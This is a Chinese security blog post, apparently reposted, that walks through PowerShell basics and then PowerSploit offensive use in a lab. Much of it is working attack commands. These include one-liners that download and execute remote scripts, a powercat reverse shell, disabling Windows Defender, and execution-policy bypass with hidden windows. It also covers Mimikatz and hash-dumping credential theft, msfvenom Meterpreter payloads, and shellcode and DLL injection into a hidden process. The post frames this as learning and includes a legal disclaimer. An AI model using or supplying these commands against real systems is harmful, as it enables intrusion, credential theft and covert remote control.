[系统安全] 四十三.APT系列Powershell和PowerSploit脚本渗透攻击手段详解
Posted Eastmount
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了[系统安全] 四十三.APT系列Powershell和PowerSploit脚本渗透攻击手段详解相关的知识,希望对你有一定的参考价值。
您可能之前看到过我写的类似文章,为什么还要重复撰写呢?只是想更好地帮助初学者了解病毒逆向分析和系统安全,更加成体系且不破坏之前的系列。因此,我重新开设了这个专栏,准备系统整理和深入学习系统安全、逆向分析和恶意代码检测,“系统安全”系列文章会更加聚焦,更加系统,更加深入,也是作者的慢慢成长史。换专业确实挺难的,逆向分析也是块硬骨头,但我也试试,看看自己未来四年究竟能将它学到什么程度,漫漫长征路,偏向虎山行。享受过程,一起加油~
前文带大家从学术角度去普及和总结一个新的概念——溯源图。这篇文章将详细讲解APT攻击中常用的攻击手段,即PowerShell和PowerSploit脚本攻击,并进一步结合MSF漏洞利用来实现脚本攻击。希望这篇文章对您有帮助,本文参考徐焱老师的《Web安全攻防渗透测试实战指南》著作,谢公子博客,并结合作者之前的博客和经验进行总结。希望这篇文章对您有所帮助,这些大佬是真的值得我们去学习,献上小弟的膝盖~fighting!
文章目录
希望这些基础原理能更好地帮助大家做好防御和保护,基础性文章,希望对您有所帮助。作者作为网络安全的小白,分享一些自学基础教程给大家,主要是在线笔记,希望您们喜欢。同时,更希望您能与我一起操作和进步,后续将深入学习网络安全和系统安全知识并分享相关实验。总之,希望该系列文章对博友有所帮助,写文不易,大神们不喜勿喷,谢谢!如果文章对您有帮助,将是我创作的最大动力,点赞、评论、私聊均可,一起加油喔!
作者的github资源:
- 逆向分析:https://github.com/eastmountyxz/SystemSecurity-ReverseAnalysis
- 网络安全:https://github.com/eastmountyxz/NetworkSecuritySelf-study
从2019年7月开始,我来到了一个陌生的专业——网络空间安全。初入安全领域,是非常痛苦和难受的,要学的东西太多、涉及面太广,但好在自己通过分享100篇“网络安全自学”系列文章,艰难前行着。感恩这一年相识、相知、相趣的安全大佬和朋友们,如果写得不好或不足之处,还请大家海涵!
接下来我将开启新的安全系列,叫“系统安全”,也是免费的100篇文章,作者将更加深入的去研究恶意样本分析、逆向分析、内网渗透、网络攻防实战等,也将通过在线笔记和实践操作的形式分享与博友们学习,希望能与您一起进步,加油~
- 推荐前文:网络安全自学篇系列-100篇
前文分析:
- [系统安全] 一.什么是逆向分析、逆向分析基础及经典扫雷游戏逆向
- [系统安全] 二.如何学好逆向分析及吕布传游戏逆向案例
- [系统安全] 三.IDA Pro反汇编工具初识及逆向工程解密实战
- [系统安全] 四.OllyDbg动态分析工具基础用法及Crakeme逆向
- [系统安全] 五.OllyDbg和Cheat Engine工具逆向分析植物大战僵尸游戏
- [系统安全] 六.逆向分析之条件语句和循环语句源码还原及流程控制
- [系统安全] 七.逆向分析之PE病毒原理、C++实现文件加解密及OllyDbg逆向
- [系统安全] 八.Windows漏洞利用之CVE-2019-0708复现及蓝屏攻击
- [系统安全] 九.Windows漏洞利用之MS08-067远程代码执行漏洞复现及深度提权
- [系统安全] 十.Windows漏洞利用之SMBv3服务远程代码执行漏洞(CVE-2020-0796)复现
- [系统安全] 十一.那些年的熊猫烧香及PE病毒行为机理分析
- [系统安全] 十二.熊猫烧香病毒IDA和OD逆向分析(上)病毒初始化
- [系统安全] 十三.熊猫烧香病毒IDA和OD逆向分析(中)病毒释放机理
- [系统安全] 十四.熊猫烧香病毒IDA和OD逆向分析–病毒释放过程(下)
- [系统安全] 十五.Chrome浏览器保留密码功能渗透解析、蓝屏漏洞及某音乐软件漏洞复现
- [系统安全] 十六.PE文件逆向基础知识(PE解析、PE编辑工具和PE修改)
- [系统安全] 十七.Windows PE病毒概念、分类及感染方式详解
- [系统安全] 十八.病毒攻防机理及WinRAR恶意劫持漏洞(脚本病毒、自启动、定时关机、蓝屏攻击)
- [系统安全] 十九.宏病毒之入门基础、防御措施、自发邮件及APT28宏样本分析
- [系统安全] 二十.PE数字签名之(上)什么是数字签名及Signtool签名工具详解
- [系统安全] 二十一.PE数字签名之(中)Signcode、PEView、010Editor、Asn1View工具用法
- [系统安全] 二十二.PE数字签名之(下)微软证书漏洞CVE-2020-0601复现及Windows验证机制分析
- [系统安全] 二十三.逆向分析之OllyDbg动态调试复习及TraceMe案例分析
- [系统安全] 二十四.逆向分析之OllyDbg调试INT3断点、反调试、硬件断点与内存断点
- [系统安全] 二十五.WannaCry勒索病毒分析 (1)Python复现永恒之蓝漏洞实现勒索加密
- [系统安全] 二十六.WannaCry勒索病毒分析 (2)MS17-010漏洞利用及病毒解析
- [系统安全] 二十七.WannaCry勒索病毒分析 (3)蠕虫传播机制解析及IDA和OD逆向
- [系统安全] 二十八.WannaCry勒索病毒分析 (4)全网"最"详细的蠕虫传播机制解读
- [系统安全] 二十九.深信服分享之外部威胁防护和勒索病毒对抗
- [系统安全] 三十.CS逆向分析 (1)你的游戏子弹用完了吗?Cheat Engine工具入门普及
- [系统安全] 三十一.恶意代码检测(1)恶意代码攻击溯源及恶意样本分析
- [系统安全] 三十二.恶意代码检测(2)常用技术详解及总结
- [系统安全] 三十三.恶意代码检测(3)基于机器学习的恶意代码检测技术
- [系统安全] 三十四.恶意代码检测(4)编写代码自动提取IAT表、字符串及时间戳溯源地区
- [系统安全] 三十五.Procmon工具基本用法及文件进程、注册表查看
- [系统安全] 三十六.APT系列(1)APT攻击溯源防御与常见APT组织的攻击案例
- [系统安全] 三十七.APT系列(2)远控木马详解与防御及APT攻击中的远控
- [系统安全] 三十八.APT系列(3)恶意代码与APT攻击中的武器(强推Seak老师)
- [系统安全] 三十九.APT系列(4)APT攻防溯源普及和医疗数据安全防御总结
- [系统安全] 四十.APT系列(5)APT组织常用WinRAR漏洞复现(CVE-2018-20250)及恶意软件劫持
- [系统安全] 四十一.APT系列(6)Python解析PE文件并获取时间戳判断来源区域
- [系统安全] 四十二.APT系列(7)基于溯源图的APT攻击检测安全顶会论文总结
- [系统安全] 四十三.APT系列(8)Powershell和PowerSploit脚本渗透攻击手段详解
声明:本人坚决反对利用教学方法进行犯罪的行为,一切犯罪行为必将受到严惩,绿色网络需要我们共同维护,更推荐大家了解它们背后的原理,更好地进行防护。
一.Powershell攻击详解
在渗透测试中,Powershell是不能忽略的一个环节,而且仍在不断地更新和发展,它具有良好的灵活性和功能化管理Windows系统的能力。一旦攻击者可以在一台计算机上运行代码,就会下载PowerShell脚本文件(.ps1)到磁盘中执行,甚至无须写到磁盘中执行,它就可以直接在内存中运行。
这些特点使得PowerShell在获得和保持对系统的访问权限时,成为攻击者首选的攻击手段,利用PowerShell的诸多特点,攻击者可以持续攻击而不被轻易发现。常用的PowerShell攻击工具有以下几种。
- PowerSploit
这是众多PowerShell攻击工具中被广泛使用的PowerShell后期漏洞利用框架,常用于信息探测、特权提升、凭证窃取、持久化等操作。 - Nishang
基于PowerShell的渗透测试专用工具,集成了框架、脚本和各种Payload,包含下载和执行、键盘记录、DNS、延时命令等脚本。 - Empire
基于PowerShell的远程控制木马,可以从凭证数据库中导出和跟踪凭据信息,常用于提供前期漏洞利用的集成模块、信息探测、凭据窃取、持久化控制。 - PowerCat
PowerShell版的NetCat,有着网络工具中的“瑞士军刀”美誉,它能通过TCP和UDP在网络中读写数据。通过与其他工具结合和重定向,读者可以在脚本中以多种方式使用它。
1.PowerShell简介
Windows PowerShell 是一种命令行外壳程序和脚本环境,它内置在Windows 7版本及其以上的系统中,使命令行用户和脚本编写者可以利用 .NET Framework的强大功能。它引入了许多非常有用的新概念,从而进一步扩展了您在 Windows 命令提示符和 Windows Script Host 环境中获得的知识和创建的脚本。
各Windows操作系统的PowerShell版本如下:
一旦攻击者在一台计算机上运行代码,他们就会下载PowerShell脚本文件(.ps1)到磁盘中执行,甚至无须写道磁盘中执行,就可以直接在内存中运行(无文件攻击),也可以把PowerShell看作命令行提示符cmd.exe的扩充。
在64位的Windows操作系统中,存在x64和x86两个版本的PowerShell,这两个版本的执行策略不会相互影响,可以看作是两个独立的程序。x64版本的配置文件在如下路径中。PowerShell包含两个应用程序组件:基于文本的标准控制台(powershell.exe)和集成命令环境的图形化界面(ISE:powershell_ise.exe)。
- C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0
传统的CMD支持脚本编写,但扩展性不好,而Powershell类似于Linux shell,具有更好的远程处理、工作流、可更新的帮助、预定任务(Scheduled Job)、CIM等优点。
(1) 首先,如何进入Powershell呢?
一种方法是在运行中直接输入Powershell打开,另一种方法是CMD中输入Powershell打开。
不同操作系统内置的Powershell是不一样的,比如win7或win2008。
(2) 其次,如何查看版本呢?
第一个命令如下:
Get-Host
输出结果如下图所示:
另一个命令是:
$psversiontable
同时,Powershell可以获取计算机的服务详细信息、状态等。
get-service
其显示结果如下图所示,采用动词+名词方式命名,比较清楚。
(3) 简单总结PowerShell优点
PowerShell需要.NET环境的支持,同时支持.NET对象,其可读性、易用性,可以位居当前所有Shell之首。PowerShell的这些特点正在吸引攻击者,使它逐渐成为一个非常流行且得力的攻击工具。由于Powershell具有以下特点,它被广泛应用于安全领域,甚至成为每一位Web安全必须掌握的技术。常见的优点包括:
- Windows 7以上的操作系统默认安装
- PowerShell脚本可以运行在内存中,不需要写入磁盘
- 可以从另一个系统中下载PowerShell脚本并执行
- 目前很多工具都是基于PowerShell开发的
- 很多安全软件并不能检测到PowerShell的互动
- cmd.exe通常会被阻止运行,但PowerShell不会
- 可以用来管理活动目录
- 支持面向对象,支持和.net平台交互
- 强大的兼容性,和cmd、vbs相互调用
- 可扩展性好,它可以用来管理活动目录、虚拟机产品等平台
2.PowerShell基本概念
(1) PS1文件
一个PowerShell脚本其实是一个简单的文本文件,这个文件包含了一系列PowerShell命令,每个命令显示为独立的一行,对于被视为PowerShell脚本的文本文件,它的文件名需要加上.PS1的扩展名。
(2) 执行策略
为防止恶意脚本的执行,PowerShell有一个执行策略,在默认情况下,这个执行策略被设为首先。在PowerShell脚本无法执行时,可以使用下面的 Get-ExecutionPolicy
命令确定当前的执行策略。它包括4个策略:
- Restricted:脚本不能运行(默认设置)
- RemoteSigned:本地创建的脚本可以运行,但从网上下载的脚本不能运行(拥有数字证书签名除外)
- AllSigned:仅当脚本由受信任的发布者签名时才能运行
- Unrestricted:允许所有的Script运行
我们还可以使用下面的cmdlet命令设置PowerShell的执行策略。
- Set-ExecutionPolicy [policy name] 策略名
(3) 运行脚本
运行一个PowerShell脚本,必须键入完整的路径和文件名。例如,你要运行一个名为a.ps1的脚本,可以键入 C:\\Scripts\\a.ps1。最大的例外是,如果PowerShell脚本文件刚好位于你的系统目录中,那么在命令提示符后直接键入脚本文件名即可运行,如 .\\a.ps1 的前面加上“.\\”,这和在Linux下还行Shell脚本的方法一样。
(4) 管道
PowerShell的管道作用是将一个命令的输出作为另一个命令的输入,两个命令之间用管道符号(|)连接。举个例子来看管道是如何工作的,假设停止所有目前运行汇总以 “p” 字符开头命名的程序,命令如下:
- get-process p* | stop-process
管道并不是什么新事物,以前的Cmd控制台也有重定向的命令,例如Dir | More可以将结果分屏显示。传统的Cmd管道是基于文本的,但是Powershell管道是基于对象。例如:
linux:ls
cmd:dir
如果只获取其中的name、mode值,则使用如下指令。
ls | format-table name, mode
3.PowerShell常用命令及绕过权限执行
在PowerShell下,类似“cmd命令”叫作“cmdlet”,其命名规范相当一致,都采用“动词-名词”的形式,如New-Item,动词部分一般为Add、New、Get、Remove、Set等,命名的别名一般兼容Windows Command和Linux Shell,如Get-ChildItem命令使用dir或ls均可,而且PowerShell命令不区分大小写。
下面以文件操作为例讲解PowerShell命令的基本用法。
- 新建目录:New-Item whitecellclub-ItemType Directory
- 新建文件:New-Item light.txt-ItemType File
- 删除目录:Remove-Item whitecellclub
- 显示文件内容:Get-Content test.txt
- 设置文件内容:Set-Content test.txt-Value “hello,world!”
- 追加内容:Add-Content light.txt-Value “i love you”
- 清除内容:Clear-Content test.txt
举个简单的示例:
New-Item test -ItemType directory
Remove-Item test
New-Item eastmount.txt -ItemType file -value "hello csdn"
Get-Content eastmount.txt
Add-Content eastmount.txt -Value " bye!"
Get-Content eastmount.txt
Set-Content eastmount.txt -Value "haha"
Get-Content eastmount.txt
Clear-Content eastmount.txt
Get-Content eastmount.txt
Remove-Item eastmount.txt
Get-Content eastmount.txt
同样,我们还以通过Windows终端提示符输入“PowerShell”,进入PowerShell命令行,输入help命令显示帮助菜单。
经过测试,在cmd窗口执行过程下载的PowerShell脚本,不论当前策略,都可以直接运行。而如果要在PowerShell窗口运行脚本程序,必须要管理员权限将Restricted策略改成Unrestricted,所以在渗透时,就需要采用一些方法绕过策略来执行脚本。
(1) 下载远程PowerShell脚本绕过权限执行
调用DownloadString函数下载远程的ps1脚本文件。
//cmd窗口执行以下命令
powershell -c IEX (New-Object System.Net.Webclient).DownloadString('http://192.168.10.11/test.ps1')
//在powershell窗口执行
IEX (New-Object System.Net.Webclient).DownloadString('http://192.168.10.11/test.ps1')
下图引用谢公子的图片,切换到CMD窗口运行。
(2) 绕过本地权限执行
上传xxx.ps1至目标服务器,在CMD环境下,在目标服务器本地执行该脚本,如下所示。
PowerShell.exe -ExcutionPolicy Bypass -File xxx.ps1
powershell -exec bypass .\\test.ps1
(3) 本地隐藏绕过权限执行脚本
PowerShell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoLogo
-NonInteractive -NoProfile -File xxx.ps1
举个示例:
- powershell.exe -exec bypass -W hidden -nop test.ps1
(4) 用IEX下载远程PS1脚本绕过权限执行
PowerShell.exe -ExecutionPolicy Bypass -WindowStyle Hidden-NoProfile
-NonIIEX(New-ObjectNet.WebClient).DownloadString("xxx.ps1");[Parameters]
下面对上述命令的参数进行说明,如下所示。
- ExecutionPolicy Bypass:绕过执行安全策略,这个参数非常重要,在默认情况下,PowerShell的安全策略规定了PowerShell不允许运行命令和文件。通过设置这个参数,可以绕过任意一个安全保护规则。在渗透测试中,基本每一次运行PowerShell脚本时都要使用这个参数。
- WindowStyle Hidden:隐藏窗口
- NoLogo:启动不显示版权标志的PowerShell
- NonInteractive(-NonI):非交互模式,PowerShell不为用户提供交互的提示
- NoProfile(-NoP):PowerShell控制台不加载当前用户的配置文件
- Noexit:执行后不退出Shell,这在使用键盘记录等脚本时非常重要
再次强调,PowerShell脚本在默认情况下无法直接执行,这是就可以使用上述方法绕过安全策略,运行PowerShell脚本如下图所示。
PowerShell.exe -ExecutionPolicy Bypass -File .\\test.ps1
通过增加 -ExecutionPolicy Bypass
实现绕过安全策略,并运行输出结果。
本地我们可以看到 test.ps1 文件。
4.PowerShell远程下载文件并执行
该部分内容学习了谢公子老师的总结,当然第二部分我详细介绍了和渗透结合的用法。
CMD窗口下载文件
管理员权限才可以下载到C盘目录下,普通权限不能下载到C盘。
//下载文件到指定目录
powershell (new-object system.net.webclient).downloadfile('http://192.168.10.11/test.exe','d:/test.exe');
//下载文件到当前目录
powershell (new-object system.net.webclient).downloadfile('http://192.168.10.11/test.exe','test.exe');
CMD窗口下载文件并执行exe
powershell (new-object system.net.webclient).downloadfile('http://192.168.10.11/test.exe','test.exe');start-process test.exe
CMD窗口下载文件并执行ps1脚本
powershell -c IEX (New-Object System.Net.Webclient).DownloadString('http://192.168.10.11/test.ps1')
远程下载powercat.ps1脚本,并带参数运行,该命令可以绕过PowerShell执行策略
powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');powercat -c 192.168.10.11 -p 8888 -e cmd
5.PowerShell渗透测试常用命令
关闭Windows自带的Defender防火墙(需要管理员权限)。
powershell Set-MpPreference -disablerealtimeMonitoring $true
在CMD窗口下执行,将远程主机上的test.exe下载到本地。
powershell (new-object system.net.webclient).downloadfile('http://192.168.10.11/test.exe','d:/test.exe');
在CMD窗口下利用PowerShell反弹NC shell。
//在cmd窗口执行
powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');powercat -c 192.168.10.11 -p 8888 -e cmd
//在powershell窗口执行
IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');powercat -c 192.168.10.11 -p 8888 -e cmd
在CMD窗口下利用PowerShell反弹CobaltStrike Shell。
//在cmd窗口执行
powershell.exe -c IEX ((new-object net.webclient).downloadstring('http://xx.xx.xx.xx/a'))
//在powershell窗口执行
IEX ((new-object net.webclient).downloadstring('http://xx.xx.xx.xx/a'))
在CMD窗口下利用PowerShell反弹MSF Shell。
//在cmd窗口执行
powershell -c IEX (New-Object Net.WebClient).DownloadString('http://xx.xx.xx.xx/7788.ps1');xx.ps1
//在powershell窗口执行
IEX (New-Object Net.WebClient).DownloadString('http://xx.xx.xx.xx/7788.ps1');xx.ps1
远程加载PowerShell脚本读取明文密码(需要管理员权限)。
//在cmd窗口执行
powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz –DumpCerts
//在powershell窗口执行
IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz –DumpCerts
远程加载PowerShell脚本读取明文密码hash值(需要管理员权限)。
//在cmd窗口执行
powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Get-PassHashes.ps1');Get-PassHashes
//在powershell窗口执行
IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Get-PassHashes.ps1');Get-PassHashes
6.PowerShell导入文件
在大型PowerShell项目中,通常包括.ps1、.psd1和.psm1后缀文件。比如Powersploit。
- .ps1文件:是PowerShell脚本文本
- .psd1文件:模块介绍文件
- .psm1文件:模块文件
其中,psm1和psd1文件可以使用以下命令导入。
Import-Module .\\PowerSploit.psm1
Import-Module .\\PowerSploit.psd1
导入模块输入命令:
- Get-Command -Module PowerSploit
对于.ps1文件,既可以使用Import-Module导入,也可以使用 . 导入。
Import-Module .\\Get-Information.ps1
. .\\Get-Information.ps1
二.PowerSploit攻击详解
PowerSploit是一款基于PowerShell的后渗透(Post-Exploition)框架软件,包含很多PowerShell攻击脚本,它们主要用于渗透中的信息侦查、权限提升、权限维持。PowerSploit各个模块的功能包括:
- AntivirusBypass:发现杀毒软件的查杀特征
- CodeExecution:在目标主机上执行代码
- Exfiltration:目标主机上的信息搜集工具
- Mayhem:蓝屏等破坏性脚本
- Persistence:后门脚本(持久性控制)
- Recon:以目标主机为跳板进行内网信息侦查
- ScriptModification:在目标主机上创建或修改脚本
其GitHub地址为:
1.PowerSploit安装
第一步,下载PowerSploit资源。
我们在Kali中可以使用git命令下载该程序。
- git clone https://github.com/PowerShellMafia/PowerSploit
如果下载报错“git fatal: unable to access server certificate verification failed. CAfile: none CRLfile: none”,读者可以直接从github下载移动至Kali指定目录。
第二步,解压文件。
- unzip PowerSploit-master.zip
解压后的文件如下图所示:
第三步,将解压后的文件夹移动到/var/www/html目录,然后搭建一个简易的服务器。
- mv PowerSploit-master /var/www/html
第四步,开启Apache服务器。
- service apache2 start
在本地浏览器中用IP地址访问,证明我们的Apache服务器设置成果。
2.MSF反弹Shell
接下来,我们在Kali中使用 reverse_https
模块进行反弹shell。
第一步,打开msfconsole。
- msfconsole
第二步,在msf设置 windows/x64/meterpreter/reverse_https 模块进行反弹并开启监听。
- use exploit/multi/handler
使用监听模块 - set payload windows/x64/meterpreter/reverse_tcp
设置payload - set LHOST 192.168.44.138
设置本机IP地址 - set RPORT 4444
设置本地端口4444
- show options
查看监听的配置信息
接着运行处于监听状态。
- run
- exploit
3.Invoke-Shellcode执行代码
CodeExecution模块下的Invoke-Shellcode脚本常用于将Shellcode插入指定的进程ID或本地PowerShell中,下面介绍两种常用的反弹Meterpreter Shell方法。
第一种方法:直接执行shellcode反弹Meterpreter Shell
第一步,使用之前的步骤利用MSF进行监听。
msf5 exploit(multi/handler) > run
[*] Started HTTPS reverse handler on https://192.168.59.128:4444
第二步,使用msfvenom命令生成一个powershell脚本木马。
- msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.44.138
LPORT=4444 -f powershell -o /var/www/test
生成的脚本位于 /var/www/html 目录下,代码如下图所示:
第三步,接着在目标机Powershell下输入以下命令下载该脚本。
- IEX (New-Object Net.WebClient).DownloadString(“http://192.168.44.138/PowerSploit-master/CodeExecution/Invoke-Shellcode.ps1”)
常见错误解决方法
第一种错误是提示“被防病毒软件阻止”。
此时我们需要设置防火墙拦截问题,允许该powershell运行即可。
如果还是被拦截,可能是需要管理员权限运行PowerSploit,设置方法如下:
第四步,输入以下命令下载木马。
- IEX (New-Object Net.WebClient).DownloadString(“http://192.168.44.138/test”)
第五步,运行下面的命令。其中的-Force意思是不用提示,直接执行。
- Invoke-Shellcode -Shellcode ($buf) -Force
按理说,此步骤执行完成后,返回MSF的监听界面下,会发现已经反弹成功了,可是我的Powershell在运行完命令后会报错或崩溃,个人感觉环境问题。
正确运行结果如下图所示:
第二种方法:指定进程注入shellcode反弹Meterpreter Shell
第一步,同样先在目标机Powershell下输入命令下载脚本和木马。
IEX (New-Object Net.WebClient).DownloadString("http://192.168.44.138/PowerSploit-master/CodeExecution/Invoke-Shellcode.ps1")
IEX (New-Object Net.WebClient).DownloadString("http://192.168.44.138/test")
第二步,输入Get-Process命令或者ps命令查看当前进程。
- Get-Process
第三步,输入命令创建一个新进程,并把它设置为隐藏的。
- Start-Process C:\\windows\\system32\\notepad.exe -WindowStyle Hidden
- Get-Process
第四步,输入Get-Process命令查看进程,可以看到多了一个id为2580,名为notepad的进程。
第五步,使用Invoke-Shellcode脚本进行进程注入。
- Invoke-Shellcode -ProcessID 2580 -Shellcode ($buf) -Force
4.Invoke-Portscan扫描端口
nvoke-Portscan是Recon模块下的一个脚本,主要用于端口扫描,使用起来也比较简单。使用方法如下。
第一步,先下载脚本,然后进行扫描。
- IEX (New-Object Net.WebClient).DownloadString(“http://192.168.44.138/PowerSploit-master/Recon/Invoke-Portscan.ps1”)
第二步,使用下面命令扫描端口。
- Invoke-Portscan -Hosts 192.168.44.1,192.168.44.138 -Ports “80,22,445,3389”
发现1开放445和3389端口,138开放80端口。
5.Invoke-Mimikatz
Invoke-Mimikatz是Exfiltration模块下的一个脚本。
第一步,下载脚本。
- IEX (New-Object Net.WebClient).DownloadString(“http://192.168.44.138/PowerSploit-master/Exfiltration/Invoke-Mimikatz.ps1”)
第二步,执行命令使用Mimikatz攻击,密码抓取工具。
- Invoke-Mimikatz -DumpCreds
PS C:\\> Invoke-Mimikatz -DumpCreds
.#####. mimikatz 2.1 (x64) built on Nov 10 2016 15:31:14
.## ^ ##. "A La Vie, A L'Amour"
## / \\ ## /* * *
## \\ / ## Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
'## v ##' http://blog.gentilkiwi.com/mimikatz (oe.eo)
'#####' with 20 modules * * */
mimikatz(powershell) # sekurlsa::logonpasswords
ERROR kuhl_m_sekurlsa_acquireLSA ; Handle on memory (0x00000005) #报错啦
mimikatz(powershell) # exit
Bye!
PS C:\\>
6.Invoke-DllInjection
下面使用CodeExecution模块下的另一个脚本Invoke-DllInjection,它是一个DLL注入的脚本。
第一步,在MSF里配置好监听,使用以下命令在kali中生成一个dll的反弹木马。
- msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.44.138
LPORT=4444 -f dll -o /var/www/html/test.dll
生成的test.dll注入文件如下图所示:
第二步,在目标机上下载脚本,输入以下命令。
- IEX (New-Object Net.WebClient).DownloadString(“http://192.168.44.138/PowerSploit-master/CodeExecution/Invoke-DllInjection.ps1”)
第三步,启动一个新进程,使用Invoke-Shellcode脚本进行进程注入。
- Start-Process C:\\windows\\system32\\notepad.exe -WindowStyle Hidden
- Get-Process
- get-process notepad
第四步,使用下面命令注入。
- Invoke-DllInjection -ProcessID 2580 -Dll c:\\test.dll
但是MSF反弹还是失败。
7.Get-Keystrokes
Get-Keystrokes是Exfiltration模块下的一个脚本,用于键盘记录,功能相当强大,不仅有键盘输入记录,甚至能记录鼠标的点击情况,还能记录详细的时间,实战时可以直接放入后台运行。使用方法如下。
以上是关于[系统安全] 四十三.APT系列Powershell和PowerSploit脚本渗透攻击手段详解的主要内容,如果未能解决你的问题,请参考以下文章
[系统安全] 四十二.APT系列基于溯源图的APT攻击检测安全顶会论文总结
[系统安全] 四十.APT系列APT组织常用WinRAR漏洞(CVE-2018-20250)及软件劫持机理
[系统安全] 四十四.APT系列Metasploit技术之基础用法万字详解及防御机理
[系统安全] 四十一.APT系列Python解析PE文件并获取时间戳判断来源区域